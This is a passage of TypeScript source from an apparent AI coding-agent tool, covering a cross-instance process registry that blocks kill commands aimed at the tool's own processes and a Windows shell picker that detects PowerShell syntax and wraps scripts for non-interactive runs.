blocked kill commands.\n */\nexport function getBlockedKillMessage(pid: number, signal?: string): string {\n return (\n `Kill command blocked: PID ${pid}${signal ? ` (signal ${signal})` : ''} is a protected WrongStack process. ` +\n `Use 'exit' or Ctrl+C to gracefully terminate a WrongStack session.`\n );\n}\n", "/**\n * PersistentProcessRegistry \u2014 filesystem-backed process registry that survives\n * process restarts and coordinates protection across multiple WrongStack instances\n * running in different terminals.\n *\n * Key features:\n * - PIDs stored in ~/.wrongstack/process-registry.json\n * - File locking for cross-instance coordination\n * - Heartbeat mechanism to detect stale entries\n * - Protection whitelist that blocks kill commands targeting WrongStack processes\n * - Multi-instance awareness: all instances share the same protection state\n */\n\n// Note: spawn imported for potential future use with child process tracking\nimport * as fs from 'node:fs/promises';\n// Note: fsSync imported for potential future use with synchronous file operations\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport type { ChildProcess } from 'node:child_process';\nimport { getProcessRegistry, type ProcessRegistryImpl } from './process-registry.js';\n\nconst REGISTRY_FILE = '.wrongstack/process-registry.json';\n\nfunction toErrorMessage(err: unknown): string {\n return err instanceof Error ? err.message : String(err);\n}\n\nfunction emitStructuredLog(level: 'debug' | 'info' | 'warn' | 'error', event: string, message: string, error?: unknown): void {\n const payload: { level: 'debug' | 'info' | 'warn' | 'error'; event: string; message: string; error?: string; timestamp: string } = {\n level,\n event,\n message,\n timestamp: new Date().toISOString(),\n };\n\n if (error !== undefined) {\n payload.error = toErrorMessage(error);\n }\n\n console.log(JSON.stringify(payload));\n}\nconst HEARTBEAT_INTERVAL_MS = 5_000;\nconst STALE_THRESHOLD_MS = 30_000;\nconst LOCKFILE = '.wrongstack/.process-registry.lock';\n\nexport interface PersistentProcessEntry {\n pid: number;\n name: string;\n command: string;\n startedAt: number;\n lastHeartbeat: number;\n sessionId?: string;\n instanceId: string;\n /** Hostname where this process is running */\n hostname: string;\n protected: boolean;\n /** How this process was spawned: 'fork' (child_process.fork), 'spawn' (child_process.spawn), 'main' (the main WrongStack process itself) */\n spawnMode: 'fork' | 'spawn' | 'main';\n /** Parent PID if spawned via fork/spawn */\n parentPid?: number;\n /** OS platform where this entry was created */\n platform: string;\n}\n\nexport interface PersistentRegistryData {\n version: 1;\n instances: Map<string, PersistentProcessEntry>;\n protectedPatterns: string[];\n lastCleanup: number;\n}\n\n/**\n * Generate a unique instance ID for this WrongStack process.\n * Combines hostname + pid + random suffix for uniqueness across restarts.\n */\nfunction generateInstanceId(): string {\n const hostname = os.hostname();\n const pid = process.pid;\n const random = Math.random().toString(36).slice(2, 8);\n return `${hostname}:${pid}:${random}`;\n}\n\n/**\n * Acquire a file lock using flock-style locking.\n * On Windows, uses a separate lockfile with atomic rename.\n */\nfunction isNodeError(err: unknown): err is NodeJS.ErrnoException {\n return typeof err === 'object' && err !== null && 'code' in err;\n}\n\nasync function acquireLock(lockfilePath: string, timeoutMs = 5000): Promise<() => Promise<void>> {\n const start = Date.now();\n const pidStr = String(process.pid);\n const hostStr = os.hostname();\n\n while (Date.now() - start < timeoutMs) {\n try {\n // Try to create the lock file exclusively\n await fs.writeFile(lockfilePath, `${pidStr}:${hostStr}:${Date.now()}`, { flag: 'wx' });\n return async () => {\n try {\n await fs.unlink(lockfilePath);\n } catch {\n // Lock file may have been cleaned up by another process\n }\n };\n } catch (err) {\n if (isNodeError(err) && err.code === 'EEXIST') {\n // Lock exists - check if the holder is still alive\n try {\n const content = await fs.readFile(lockfilePath, 'utf-8');\n const parts = content.split(':');\n const lockPidStr = parts[0] ?? '0';\n const lockPid = parseInt(lockPidStr, 10);\n\n // On Unix, check if process is still running\n if (process.platform !== 'win32') {\n try {\n process.kill(lockPid, 0); // Signal 0 just checks if process exists\n } catch {\n // Lock holder is dead - steal the lock\n await fs.unlink(lockfilePath);\n continue;\n }\n }\n } catch {\n // Can't read lock file - assume stale, try to steal\n try {\n await fs.unlink(lockfilePath);\n } catch {\n /* ignore */\n }\n }\n\n // Wait before retrying\n await new Promise((r) => setTimeout(r, 100));\n continue;\n }\n throw err;\n }\n }\n throw new Error(`Failed to acquire lock after ${timeoutMs}ms`);\n}\n\n/**\n * Read and parse the persistent registry file.\n * Returns empty data if file doesn't exist or is corrupted.\n */\nasync function readRegistryFile(filePath: string): Promise<PersistentRegistryData> {\n try {\n const content = await fs.readFile(filePath, 'utf-8');\n const parsed = JSON.parse(content);\n\n // Convert instances array back to Map\n if (parsed.instances && Array.isArray(parsed.instances)) {\n parsed.instances = new Map(parsed.instances);\n }\n\n return parsed;\n } catch (err) {\n if (isNodeError(err) && err.code === 'ENOENT') {\n return {\n version: 1,\n instances: new Map(),\n protectedPatterns: ['wrongstack', 'node'],\n lastCleanup: Date.now(),\n };\n }\n throw err;\n }\n}\n\n/**\n * Write the registry file atomically using rename.\n */\nasync function writeRegistryFile(filePath: string, data: PersistentRegistryData): Promise<void> {\n const tmpPath = `${filePath}.tmp.${process.pid}`;\n const content = JSON.stringify(data, (_k, v) => {\n if (v instanceof Map) {\n return Array.from(v.entries());\n }\n return v;\n }, 2);\n\n await fs.writeFile(tmpPath, content, 'utf-8');\n await fs.rename(tmpPath, filePath);\n}\n\n/**\n * PersistentProcessRegistry wraps the in-memory ProcessRegistryImpl and\n * synchronizes entries to a filesystem-backed store for cross-instance coordination.\n */\nexport class PersistentProcessRegistry {\n private readonly instanceId: string;\n private readonly registryPath: string;\n private readonly lockPath: string;\n private readonly baseRegistry: ProcessRegistryImpl;\n private heartbeatInterval: ReturnType<typeof setInterval> | null = null;\n private isShuttingDown = false;\n\n constructor(baseRegistry?: ProcessRegistryImpl) {\n this.instanceId = generateInstanceId();\n const homeDir = os.homedir();\n this.registryPath = path.join(homeDir, REGISTRY_FILE);\n this.lockPath = path.join(homeDir, LOCKFILE);\n this.baseRegistry = baseRegistry ?? getProcessRegistry();\n\n // Ensure the .wrongstack directory exists\n this.ensureDirectory().catch((err) => {\n emitStructuredLog('warn', 'process_registry.dir_create_failed', 'PersistentProcessRegistry: failed to create .wrongstack directory', err);\n });\n }\n\n private async ensureDirectory(): Promise<void> {\n const dir = path.dirname(this.registryPath);\n try {\n await fs.mkdir(dir, { recursive: true });\n } catch (err) {\n if (!isNodeError(err) || err.code !== 'EEXIST') throw err;\n }\n }\n\n /**\n * Start the heartbeat and periodic cleanup tasks.\n */\n start(): void {\n if (this.heartbeatInterval) return;\n\n // Register this instance's processes with the persistent registry\n this.syncToPersistent();\n\n // Heartbeat every 5 seconds to mark entries as alive\n this.heartbeatInterval = setInterval(() => {\n this.heartbeat();\n }, HEARTBEAT_INTERVAL_MS);\n this.heartbeatInterval.unref?.();\n\n // Cleanup stale entries every 30 seconds\n setInterval(() => {\n this.cleanupStaleEntries();\n }, STALE_THRESHOLD_MS).unref?.();\n\n // Register main process on startup\n this.registerMainProcess();\n\n // Sync on significant events\n process.on('exit', () => this.syncToPersistent());\n }\n\n /**\n * Stop the heartbeat and clean up.\n */\n stop(): void {\n this.isShuttingDown = true;\n if (this.heartbeatInterval) {\n clearInterval(this.heartbeatInterval);\n this.heartbeatInterval = null;\n }\n this.syncToPersistent();\n }\n\n /**\n * Register the main WrongStack process as protected.\n */\n registerMainProcess(): void {\n const mainPid = process.pid;\n\n this.updatePersistentEntry({\n pid: mainPid,\n name: 'wrongstack-main',\n command: process.argv.slice(0, 3).join(' '),\n startedAt: Date.now(),\n lastHeartbeat: Date.now(),\n instanceId: this.instanceId,\n hostname: os.hostname(),\n protected: true,\n spawnMode: 'main',\n parentPid: process.ppid,\n platform: process.platform,\n });\n }\n\n /**\n * Register a spawned child process with the persistent registry.\n */\n registerChildProcess(pid: number, name: string, command: string, sessionId?: string, spawnMode: 'spawn' | 'fork' = 'spawn'): void {\n const entry: PersistentProcessEntry = {\n pid,\n name,\n command,\n startedAt: Date.now(),\n lastHeartbeat: Date.now(),\n instanceId: this.instanceId,\n hostname: os.hostname(),\n protected: true, // All WrongStack child processes are protected by default\n spawnMode,\n parentPid: process.pid,\n platform: process.platform,\n };\n if (sessionId) {\n entry.sessionId = sessionId;\n }\n this.updatePersistentEntry(entry);\n }\n\n /**\n * Update or add an entry in the persistent registry.\n */\n private async updatePersistentEntry(entry: PersistentProcessEntry): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n\n // Update or insert\n data.instances.set(String(entry.pid), entry);\n\n // Also update the in-memory registry\n const child: ChildProcess = null as unknown as ChildProcess;\n this.baseRegistry.register({\n pid: entry.pid,\n name: entry.name,\n command: entry.command,\n startedAt: entry.startedAt,\n sessionId: entry.sessionId,\n protected: entry.protected,\n child,\n });\n\n await writeRegistryFile(this.registryPath, data);\n } finally {\n await release();\n }\n }\n\n /**\n * Unregister a process from the persistent registry.\n */\n async unregister(pid: number): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n data.instances.delete(String(pid));\n await writeRegistryFile(this.registryPath, data);\n } finally {\n await release();\n }\n }\n\n /**\n * Send heartbeat to mark all this instance's processes as alive.\n */\n private heartbeat(): void {\n if (this.isShuttingDown) return;\n\n this.syncToPersistent();\n }\n\n /**\n * Sync this instance's processes to the persistent registry.\n */\n private async syncToPersistent(): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n\n // Update heartbeat for all processes belonging to this instance\n const updatedInstances = new Map<string, PersistentProcessEntry>();\n\n for (const [_pidStr, entry] of data.instances) {\n if (entry.instanceId === this.instanceId) {\n entry.lastHeartbeat = now;\n }\n // Only keep non-stale entries (or entries from this instance)\n if (entry.instanceId === this.instanceId || (now - entry.lastHeartbeat) < STALE_THRESHOLD_MS) {\n updatedInstances.set(_pidStr, entry);\n }\n }\n\n data.instances = updatedInstances;\n data.lastCleanup = now;\n await writeRegistryFile(this.registryPath, data);\n } catch (err) {\n emitStructuredLog('warn', 'process_registry.sync_failed', 'PersistentProcessRegistry: sync failed', err);\n } finally {\n await release();\n }\n }\n\n /**\n * Remove entries for processes that are no longer running.\n */\n private async cleanupStaleEntries(): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const stalePids: string[] = [];\n\n for (const [_pidStr, entry] of data.instances) {\n const age = now - entry.lastHeartbeat;\n\n if (age > STALE_THRESHOLD_MS) {\n // Check if process is actually dead\n try {\n if (process.platform !== 'win32') {\n process.kill(entry.pid, 0);\n } else {\n // On Windows, try to open the process\n emitStructuredLog(\n 'debug',\n 'process_registry.stale_pid_check',\n `PersistentProcessRegistry: checking stale pid ${entry.pid} (${age}ms old)`,\n );\n }\n\n } catch {\n // Process is dead - mark for removal\n stalePids.push(_pidStr);\n }\n }\n }\n\n if (stalePids.length > 0) {\n for (const pidStr of stalePids) {\n data.instances.delete(pidStr);\n }\n await writeRegistryFile(this.registryPath, data);\n }\n } catch (err) {\n emitStructuredLog('warn', 'process_registry.cleanup_failed', 'PersistentProcessRegistry: cleanup failed', err);\n } finally {\n await release();\n }\n }\n\n /**\n * Check if a PID belongs to a WrongStack process and should be protected.\n */\n async isProtectedPid(pid: number): Promise<boolean> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const entry = data.instances.get(String(pid));\n\n if (!entry) return false;\n\n // Check if stale\n if ((Date.now() - entry.lastHeartbeat) > STALE_THRESHOLD_MS) {\n return false;\n }\n\n return entry.protected;\n } finally {\n await release();\n }\n }\n\n /**\n * Get all protected PIDs from all WrongStack instances.\n */\n async getAllProtectedPids(): Promise<number[]> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const protectedPids: number[] = [];\n\n for (const [_pidStr, entry] of data.instances) {\n if (entry.protected && (now - entry.lastHeartbeat) < STALE_THRESHOLD_MS) {\n protectedPids.push(entry.pid);\n }\n }\n\n return protectedPids;\n } finally {\n await release();\n }\n }\n\n /**\n * Get complete status of all tracked processes across all instances.\n */\n async getGlobalStatus(): Promise<{\n instances: Map<string, PersistentProcessEntry[]>;\n totalProcesses: number;\n protectedCount: number;\n staleCount: number;\n }> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const instances = new Map<string, PersistentProcessEntry[]>();\n let protectedCount = 0;\n let staleCount = 0;\n\n for (const [_pidStr, entry] of data.instances) {\n const instanceEntries = instances.get(entry.instanceId) ?? [];\n instanceEntries.push(entry);\n instances.set(entry.instanceId, instanceEntries);\n\n if (entry.protected) protectedCount++;\n if ((now - entry.lastHeartbeat) > STALE_THRESHOLD_MS) staleCount++;\n }\n\n return {\n instances,\n totalProcesses: data.instances.size,\n protectedCount,\n staleCount,\n };\n } finally {\n await release();\n }\n }\n\n /**\n * Get the instance ID for this process.\n */\n getInstanceId(): string {\n return this.instanceId;\n }\n\n /**\n * Check if a kill command should be blocked.\n * Returns true if the kill should be blocked (target is a WrongStack process).\n */\n async shouldBlockKill(pid: number): Promise<boolean> {\n const protectedPids = await this.getAllProtectedPids();\n return protectedPids.includes(pid);\n }\n\n /**\n * Add a pattern-based protection rule.\n * Processes whose command matches any protected pattern are protected.\n */\n async addProtectedPattern(pattern: string): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n if (!data.protectedPatterns.includes(pattern)) {\n data.protectedPatterns.push(pattern);\n await writeRegistryFile(this.registryPath, data);\n }\n } finally {\n await release();\n }\n }\n}\n\n// Singleton instance\nlet _persistentRegistry: PersistentProcessRegistry | undefined;\n\nexport function getPersistentProcessRegistry(): PersistentProcessRegistry {\n if (!_persistentRegistry) {\n _persistentRegistry = new PersistentProcessRegistry();\n }\n return _persistentRegistry;\n}\n\nexport function resetPersistentProcessRegistry(): void {\n if (_persistentRegistry) {\n _persistentRegistry.stop();\n _persistentRegistry = undefined;\n }\n}\n", "/**\n * Shell picker for the `bash` tool on Windows.\n *\n * Historically the bash tool always fell back to `cmd.exe` on Windows \u2014 a\n * reasonable default for the small set of POSIX-style commands the tool was\n * built around (`echo`, `dir`, `cd`, `set`, etc.). That breaks when the\n * caller emits PowerShell-style commands (e.g. Codex on Windows routinely\n * emits `Get-Content`, `Get-ChildItem`, `Set-Location`, \u2026), which `cmd.exe`\n * rejects with \"'Get-Content' is not recognized as an internal or external\n * command, operable program or batch file.\" This module decides \u2014 purely from\n * the command string and a few well-known env vars \u2014 which shell should run\n * the command. It returns a tagged value; bash.ts does the actual spawn.\n *\n * The picker never spawns anything itself, so it is safe to unit-test in\n * isolation. Shell *resolution* (finding the actual binary on PATH) lives in\n * `_win32-resolve.ts` and runs at spawn time.\n * @see {@link ../../docs/configuration.md#windows-shell-selection-wrongstackshell} for user-facing documentation of the WRONGSTACK_SHELL env var and auto-detection behavior.\n *\n * Selection precedence (Windows only):\n * 1. `WRONGSTACK_SHELL` env var, if it names a known shell (cmd | powershell\n * | pwsh). This is the override for users who want a fixed shell.\n * 2. Auto-detect: if the command \"looks like\" PowerShell \u2014 i.e. uses cmdlet\n * verb-noun syntax, $-variables, subexpressions, here-strings, etc. \u2014\n * route to PowerShell. Prefers `pwsh` (PowerShell 7+) and falls back to\n * `powershell` (Windows PowerShell 5.1) at spawn time.\n * 3. Default: `cmd.exe` (preserves legacy behavior).\n *\n * On non-Windows the picker is a no-op \u2014 bash.ts already routes through\n * `/bin/bash -c`. We return `'cmd'` as a sentinel value that means \"the\n * platform default\"; bash.ts maps it to the right binary.\n *\n * See docs/configuration.md \u00A7 \"Windows shell selection (WRONGSTACK_SHELL)\" for\n * user-facing documentation of the env var and auto-detection behaviour.\n */\n\nexport type BashShell = 'cmd' | 'powershell' | 'pwsh';\n\n/** Sentinel returned on POSIX \u2014 bash.ts maps this to `/bin/bash -c`. */\nexport const POSIX_DEFAULT: BashShell = 'cmd';\n\nexport interface PickShellEnv {\n /** Read-only env view. Tests pass `{ get: (k) => process.env[k] }`. */\n get(key: string): string | undefined;\n}\n\n/**\n * Decide which shell should execute `command` on `platform`. Pure function \u2014\n * no I/O, no side effects, no exceptions (invalid input returns the default).\n */\nexport function pickShell(\n platform: NodeJS.Platform,\n command: string,\n env: PickShellEnv,\n): BashShell {\n if (platform !== 'win32') return POSIX_DEFAULT;\n\n // 1. Explicit override. Unknown values are ignored (the override is a\n // safety hatch, not a free-form field \u2014 silently ignoring typos is\n // friendlier than throwing on a config typo).\n const override = env.get('WRONGSTACK_SHELL')?.trim().toLowerCase();\n if (override === 'cmd' || override === 'cmd.exe') return 'cmd';\n if (override === 'powershell' || override === 'powershell.exe') return 'powershell';\n if (override === 'pwsh' || override === 'pwsh.exe') return 'pwsh';\n\n // 2. Auto-detect: command looks like PowerShell.\n if (looksLikePowerShell(command)) return 'pwsh';\n\n // 3. Legacy default.\n return 'cmd';\n}\n\n/**\n * Heuristic PowerShell detector. Conservative on purpose \u2014 false positives\n * route `cmd.exe` work into PowerShell (different parsing rules, different\n * exit-code semantics, sometimes very different stdout), which is more\n * disruptive than a single \"command not recognized\" error. We only return\n * true for patterns that are unambiguously PowerShell.\n *\n * Detected patterns:\n * - cmdlet verb-noun syntax (`Get-`, `Set-`, `New-`, `Remove-`, `Add-`,\n * `Clear-`, `Copy-`, `Move-`, `Rename-`, `Test-`, `Update-`, `Write-`,\n * `Read-`, `Push-`, `Pop-`, `Invoke-`, `Start-`, `Stop-`, `Wait-`,\n * `Out-`, `Format-`, `Group-`, `Measure-`, `Compare-`, `Resolve-`,\n * `ConvertTo-`, `ConvertFrom-`, `Import-`, `Export-`, `Select-`,\n * `Where-`, `ForEach-`, `Sort-`, `Tee-`, `Split-`, `Join-`, `Limit-`,\n * `Skip-`, `Step-`, `Trace-`, `Debug-`, `Register-`, `Unregister-`,\n * `Enable-`, `Disable-`, `Restart-`, `Suspend-`, `Resume-`, `Save-`,\n * `Open-`, `Close-`, `Lock-`, `Unlock-`, `Mount-`, `Dismount-`,\n * `Enter-`, `Exit-`, `Use-`, `Show-`, `Hide-`, `Find-`, `Search-`,\n * `Watch-`, `Initialize-`, `Optimize-`, `Compress-`, `Expand-`,\n * `Convert-`, `Merge-`, `Checkpoint-`, `Undo-`, `Redo-`, `Approve-`,\n * `Deny-`, `Block-`, `Grant-`, `Revoke-`, `Assert-`, `Confirm-`,\n * `Resolve-`, `Wait-`, `Receive-`, `Send-`, `Connect-`, `Disconnect-`,\n * `Read-`, `Write-`).\n * - $-prefixed variables (`$env:`, `$foo`, `$script:bar`, `$_`).\n * - Subexpressions (`$(...)`).\n * - Here-strings (`@\"\u2026\"@`, `@'\u2026'@`).\n * - Splatting (`@(...)` at start of argument, `@{}` hash table).\n * - PowerShell-comparison operators (`-eq`, `-ne`, `-lt`, `-gt`, `-le`,\n * `-ge`, `-like`, `-notlike`, `-match`, `-notmatch`, `-contains`,\n * `-in`, `-and`, `-or`, `-not`, `-band`, `-bor`, `-bxor`,\n * `-replace`, `-split`, `-join`, `-is`, `-as`, `-f`).\n * - `.ps1` extension mentioned in the command.\n * - `&` call operator followed by a `$`-variable (`& $cmd ...`).\n * - Common PowerShell aliases that don't exist in cmd.exe: `gci`, `gi`,\n * `gp`, `sl`, `cd` is ambiguous (cmd.exe has `cd` too \u2014 skip), `ls`\n * ambiguous (cmd.exe does NOT have `ls`), `cat`, `cp`, `mv`, `rm`,\n * `echo` (echo is in cmd too), `gcm`, `gci`, `gps`, `ps`, `select`,\n * `where`, `?`, `%`.\n * - `#requires` directive at start of script.\n * - `param()` block at start of script.\n *\n * The Windows-style path `C:\\` alone is not a PowerShell tell \u2014 both\n * shells accept it. We only flip on PS-specific syntax.\n *\n * The function is case-insensitive and tolerates leading whitespace.\n */\nexport function looksLikePowerShell(command: string): boolean {\n if (!command) return false;\n const trimmed = command.trimStart();\n\n // .ps1 file in the command \u2192 almost certainly PowerShell.\n if (/\\.ps1\\b/i.test(trimmed)) return true;\n\n // #requires directive \u2014 only PowerShell has this.\n if (/^\\s*#requires\\s/i.test(trimmed)) return true;\n\n // param() block at start of script \u2014 PowerShell parameter declaration.\n if (/^\\s*param\\s*\\(/i.test(trimmed)) return true;\n\n // Variable reference / subexpression / here-string / splatting.\n // These four are unambiguous PowerShell syntax \u2014 no false positives in\n // any common cmd.exe or POSIX shell.\n if (/\\$[\\w:{]/i.test(trimmed)) return true; // $foo, $env:PATH, $script:x, $_\n if (/\\$\\(/.test(trimmed)) return true; // $(...)\n if (/@\\s*['\"]/.test(trimmed)) return true; // @'...'@ or @\"...\"@\n if (/&\\s+\\$/.test(trimmed)) return true; // & $cmd args\n if (/(^|\\s)@\\s*\\(/.test(trimmed)) return true; // @(...) splat\n if (/(^|\\s)@\\{/.test(trimmed)) return true; // @{} hash table / splatting\n\n // PowerShell comparison / logical operators. The leading dash + letter\n // pattern is rare in cmd.exe scripts (cmd.exe flags are usually `/x`),\n // so `-eq`, `-like`, etc. are reliable tells. We require a word boundary\n // on each side to avoid matching inside paths like `C:\\foo-eq\\bar`.\n if (/(?:^|[\\s[({,;])(?:-eq|-ne|-lt|-gt|-le|-ge|-like|-notlike|-match|-notmatch|-contains|-notcontains|-in|-notin|-and|-or|-not|-band|-bor|-bxor|-replace|-isplit|-csplit|-osplit|-join|-is|-as|-f)(?:$|[\\s\\])},;])/i.test(trimmed)) {\n return true;\n }\n\n // Cmdlet verb-noun: `<Verb>-<Noun>` where Verb is one of the canonical\n // PowerShell verbs (unambiguous list above). The Verb must be followed\n // by `-` and at least one more hyphen-separated token. This avoids\n // matching unix-style single-dash flags (`-rf`, `-la`) and double-dash\n // flags (`--foo`).\n if (PS_VERB_RE.test(trimmed)) return true;\n\n // Common PowerShell aliases that have no cmd.exe equivalent.\n // `\\b<alias>\\b` at the start of a token; preceded by start-of-string or a\n // command separator so we don't fire on substrings inside longer tokens.\n //\n // Excluded aliases (too ambiguous with cmd.exe builtins / common unix\n // tools that resolve through PATHEXT on Windows):\n // - `where` (cmd.exe `where` finds executables on PATH; PS `where` is\n // Where-Object, a pipeline filter \u2014 totally different semantics).\n // - `select` (cmd.exe has no `select`, but PS `select` is `Select-Object`\n // and we don't want a stray match in scripts that pipe `dir` into\n // something else).\n // - `ps` (single-letter collision with too many tokens; gcm/gps cover\n // the common Get-Process / Get-Command cases more precisely).\n if (/(?:^|[\\s;&|])(gci|gi|gp|gcm|gps|sl|rm|cat|cp|mv)\\b/i.test(trimmed)) {\n return true;\n }\n\n // Second-pass: additional unambiguous PowerShell patterns.\n if (looksLikePowerShellExtended(command)) return true;\n\n return false;\n}\n\n/**\n * Extended PowerShell detection \u2014 patterns that are unambiguous but less\n * common than the verb-noun cmdlets caught by the first pass.\n *\n * Covers: -WhatIf / -Confirm / -ErrorAction flags, trailing `2>&1` in\n * combination with other PS signals, `[type]` casts, Where/ForEach/\n * Select-Object pipeline, PS comment blocks, Write-* output cmdlets,\n * registry paths (HKLM:/HKCU:), -AsPlainText, -PipelineVariable.\n */\nexport function looksLikePowerShellExtended(command: string): boolean {\n if (!command) return false;\n const trimmed = command.trimStart();\n\n // -WhatIf / -Confirm / -ErrorAction \u2014 cmdlet-specific flags.\n // Use \\s before flag (not \\b) because \\b after word chars like `t` in\n // `foo.txt` doesn't match the space before `-WhatIf`.\n if (/(?:^|\\s)[-/](?:WhatIf|Confirm|ErrorAction)(?::[^\\s]+|\\s|=|$)/i.test(trimmed)) {\n return true;\n }\n\n // Pipeline cmdlets that only exist in PowerShell.\n if (/(?:^|[\\s;&|])(Where-Object|ForEach-Object|Select-Object|Sort-Object|Group-Object|Measure-Object|Compare-Object|Tee-Object)(?:\\s|$)/i.test(trimmed)) {\n return true;\n }\n\n // Write-* output cmdlets (Write-Host, Write-Output, Write-Error, etc.)\n if (/\\bWrite-(?:Host|Output|Error|Warning|Verbose|Debug|Information)(?:\\s|$)/i.test(trimmed)) {\n return true;\n }\n\n // Registry provider paths: HKLM:\\ HKCU:\\ HKCR:\\ \u2014 only PowerShell.\n if (/HK(?:LM|CU|CR|U|CC|DD|PD):\\\\/i.test(trimmed)) return true;\n\n // [type] casts: [string], [int], [xml], [System.IO.File] etc.\n if (/\\[(?:string|int|bool|xml|double|float|decimal|char|byte|long|System\\.)/i.test(trimmed)) {\n return true;\n }\n\n // PS comment block start <# ... #>\n if (/^\\s*<#|#>\\s*$/m.test(trimmed)) return true;\n\n // Common PS-only parameters: -AsPlainText, -PipelineVariable/-pv,\n // -FilterHashtable, -OutVariable/-ov\n if (/(?:^|\\s)[-//](?:AsPlainText|PipelineVariable|pv|FilterHashtable|OutVariable|ov)(?:\\s|=|$)/i.test(trimmed)) {\n return true;\n }\n\n return false;\n}\n\n/**\n * Wrap a user command for execution via `pwsh -Command -` (stdin pipe).\n *\n * The wrapper addresses four reliability gaps in Windows PowerShell:\n *\n * 1. **Console output encoding**: PS 5.1 outputs in the system codepage\n * (often Windows-1252) which mojibakes non-ASCII. Setting\n * `[Console]::OutputEncoding = [System.Text.Encoding]::UTF8` at the\n * top of the script ensures UTF-8 output in both editions.\n *\n * 2. **Exit-code propagation**: Native commands (dotnet, npm, node, etc.)\n * set `$LASTEXITCODE`. Without explicit propagation, `pwsh -Command -`\n * exits 0 even when the native command failed. Running the command body\n * and then exiting with `$LASTEXITCODE` when it is numeric preserves native\n * exit codes without swallowing PowerShell output.\n *\n * 3. **Confirmation suppression**: `$ConfirmPreference='None'` suppresses\n * interactive confirmation prompts (e.g. `-Confirm` cmdlets) so scripts\n * don't block waiting for user input. `$WhatIfPreference=$false` ensures\n * commands actually RUN (not just print what they would do).\n *\n * Do not prefix the stdin script with a UTF-8 BOM. Some PowerShell builds do\n * not strip it when reading `-Command -` and treat it as part of the first\n * command name (`\\uFEFF[Console]::OutputEncoding`), causing every wrapped\n * command to fail before the user's script runs.\n */\nexport function wrapPowerShellScript(command: string): string {\n const bootstrap =\n '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;' +\n \"$ConfirmPreference='None';$WhatIfPreference=$false\";\n return (\n bootstrap +\n \"\\n$ErrorActionPreference='Stop'\\n\" +\n command +\n '\\nif ($LASTEXITCODE -is [int]) { exit $LASTEXITCODE }'\n );\n}\n\n/**\n * The canonical PowerShell verbs (and their common variants). Used only by\n * `looksLikePowerShell` to detect `<Verb>-<Noun>` cmdlet syntax. The full\n * list is long; we cover every verb in the PowerShell 7 SDK's\n * `VerbsCommon`, `VerbsData`, `VerbsDiagnostic`, `VerbsLifecycle`,\n * `VerbsOther`, `VerbsSecurity`, and `VerbsCommunications` modules, plus the\n * most-used verbs from `VerbsApproved`.\n *\n * We list them in the regex below rather than as a Set because matching is\n * done in a single regex pass over the command string \u2014 building a Set and\n * scanning every token would be slower and harder to read.\n */\nconst PS_VERB_RE = new RegExp(\n // Boundaries: start-of-string, whitespace, `;`, `&`, `|`, `(`, `{`, `,`.\n '(?:^|[\\\\s;&|\\\\(\\\\{,])' +\n // The verb itself, followed by `-`.\n '(?:' +\n 'Get|Set|New|Remove|Add|Clear|Copy|Move|Rename|Test|Update|Write|Read|Push|Pop|Invoke|Start|Stop|Wait|' +\n 'Out|Format|Group|Measure|Compare|Resolve|ConvertTo|ConvertFrom|Convert|Import|Export|Select|Where|ForEach|Sort|' +\n 'Tee|Split|Join|Limit|Skip|Step|Trace|Debug|Register|Unregister|Enable|Disable|Restart|Suspend|Resume|Save|' +\n 'Open|Close|Lock|Unlock|Mount|Dismount|Enter|Exit|Use|Show|Hide|Find|Search|Watch|Initialize|Optimize|' +\n 'Compress|Expand|Merge|Checkpoint|Undo|Redo|Approve|Deny|Block|Grant|Revoke|Assert|Confirm|Receive|Send|' +\n 'Connect|Disconnect|Reset|Backup|Restore|Publish|Unpublish|Install|Uninstall|Build|Rebuild|Deploy|' +\n 'Submit|Process|Complete|Approve|Revoke|Pay|Refund|Decline|Receive|Send' +\n ')-' +\n // Noun: at least one non-space, non-quote character. We require a `-`\n // after the verb, so the matched token is at minimum `Verb-X` \u2014 already\n // cmdlet-shaped. Noun chars are `[A-Za-z0-9]`; PowerShell noun tokens\n // never contain spaces or punctuation.\n '[A-Za-z][A-Za-z0-9]+(?:[\\\\-\\\\+][A-Za-z][A-Za-z0-9]+)*' +\n // Optional: followed by whitespace, end-of-string, `-` (continuation),\n // or a flag. This avoids matching only the *prefix* of a longer token\n // (e.g. `Get-Content` shouldn't fire if the next char is itself a\n // letter forming part of a longer path \u2014 but paths can't follow a\n // cmdlet verb without a space, so a trailing non-letter is sufficient).\n '(?:$|[\\\\s\\\\-\\\\;\\\\&\\\\|\\\\(\\\\)\\\\{\\\\},])',\n 'i',\n);\n\n/**\n * Return the argv prefix for a given shell. The bash tool passes a single\n * command string and expects the shell to interpret it. cmd.exe uses\n * `/c <cmd>`; PowerShell uses `-NoLogo -NoProfile -NonInteractive -Command -`\n * and reads the script from stdin (the `-` at the end is the documented way\n * to tell PowerShell \"the script is on stdin, not as an argument\"). Stdin\n * pipe sidesteps the entire class of quoting bugs that arise from\n * interpolating multi-line / single-quoted / dollar-sign-laden scripts into\n * a `-Command \"...\"` string.\n */\nexport function shellArgs(shell: BashShell): string[] {\n if (shell === 'powershell' || shell === 'pwsh') {\n return ['-NoLogo', '-NoProfile', '-NonInteractive', '-Command', '-'];\n }\n return ['/c'];\n}\n\n/**\n * Post-failure diagnosis: when a Windows shell command exits non-zero, scan it\n * for bash/POSIX idioms the shell does not accept and return a short, targeted\n * hint (with the right replacement) so the model self-corrects on the next turn.\n *\n * Deliberately **failure-coupled** \u2014 the bash tool only calls this on a\n * non-zero exit. That keeps it noise-free (PowerShell aliases `ls`/`cat`/`rm`\n * succeed, so they never reach here) and side-steps shell-version nuance: `&&`\n * works in PowerShell 7 and cmd.exe (so 